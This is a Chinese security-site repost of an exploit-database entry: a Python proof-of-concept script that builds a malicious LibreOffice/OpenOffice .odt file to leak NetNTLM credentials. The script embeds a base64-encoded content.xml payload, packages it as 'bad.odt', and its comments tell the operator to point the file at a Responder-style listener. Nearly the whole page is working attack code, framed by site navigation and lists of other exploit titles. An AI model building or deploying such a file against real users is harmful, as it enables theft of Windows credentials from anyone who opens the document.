首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
LibreOffice/Open Office - '.odt' Information Disclosure
来源:www.secureyourit.co.uk 作者:Davy 发布时间:2018-05-03  
#! /usr/bin/python
 
# Exploit Title: Malicious ODF File Creator
# Date: 1st May 2018
# Exploit Author: Richard Davy
# Vendor Homepage: https://www.libreoffice.org/
# Software Link: https://www.libreoffice.org/
# Version: LibreOffice 6.0.3, OpenOffice 4.1.5
# Tested on: Windows 10
#
#Quick script/POC code to create a malicious ODF which can be used to leak NetNTLM credentials
#Usage - Setup responder or similar create a malicious file and point to listener.
#Works against LibreOffice 6.03 and OpenOffice 4.1.5
#
#
 
try:
    from ezodf import newdoc
except ImportError:
    print ('ezodf appears to be missing - try: pip install ezodf')
    exit(1)
 
import os
import zipfile
import base64
 
print """
    ____            __      ____  ____  ______
   / __ )____ _____/ /     / __ \/ __ \/ ____/
  / __  / __ `/ __  /_____/ / / / / / / /_   
 / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/   
/_____/\__,_/\__,_/      \____/_____/_/    
 
"""
print "Create a malicious ODF document help leak NetNTLM Creds"
print "\nBy Richard Davy "
print "@rd_pentest"
print "www.secureyourit.co.uk\n"
 
#Create a blank ODT file
namef = "temp.odt"
odt = newdoc(doctype='odt', filename=namef)
odt.save()
 
#Create our modified content.xml file
contentxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3Bl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g=="
 
fileout=base64.b64decode(contentxml1)+contentxml2+base64.b64decode(contentxml3)
 
text_file = open("content.xml", "w")
text_file.write(fileout)
text_file.close()
 
#Create a copy of the blank odt file without the content.xml file in (odt files are basically a zip)
zin = zipfile.ZipFile ('temp.odt', 'r')
zout = zipfile.ZipFile ('bad.odt', 'w')
for item in zin.infolist():
    buffer = zin.read(item.filename)
    if (item.filename != 'content.xml'):
        zout.writestr(item, buffer)
zout.close()
zin.close()
 
#Add our modified content.xml file to our odt file
zf = zipfile.ZipFile('bad.odt', mode='a')
try:
    zf.write('content.xml', arcname='content.xml')
finally:
    zf.close()
 
#Clean up temp files
os.remove("content.xml")
os.remove("temp.odt")
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple macOS/iOS - ReportCrash
·Easy MPEG to DVD Burner 1.7.11
·Nagios XI 5.2.6 < 5.2.9 / 5.3
·WebKit - 'WebCore::jsElementSc
·Navicat < 12.0.27 - Oracle Con
·xdebug < 2.5.5 - Unauthenticat
·Drupal < 7.58 - 'Drupalgeddon3
·Metasploit Framework - 'msfd'
·Oracle Weblogic Server 10.3.6.
·Metasploit Framework - 'msfd'
·osCommerce Installer Unauthent
·Exim < 4.90.1 - 'base64d' Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved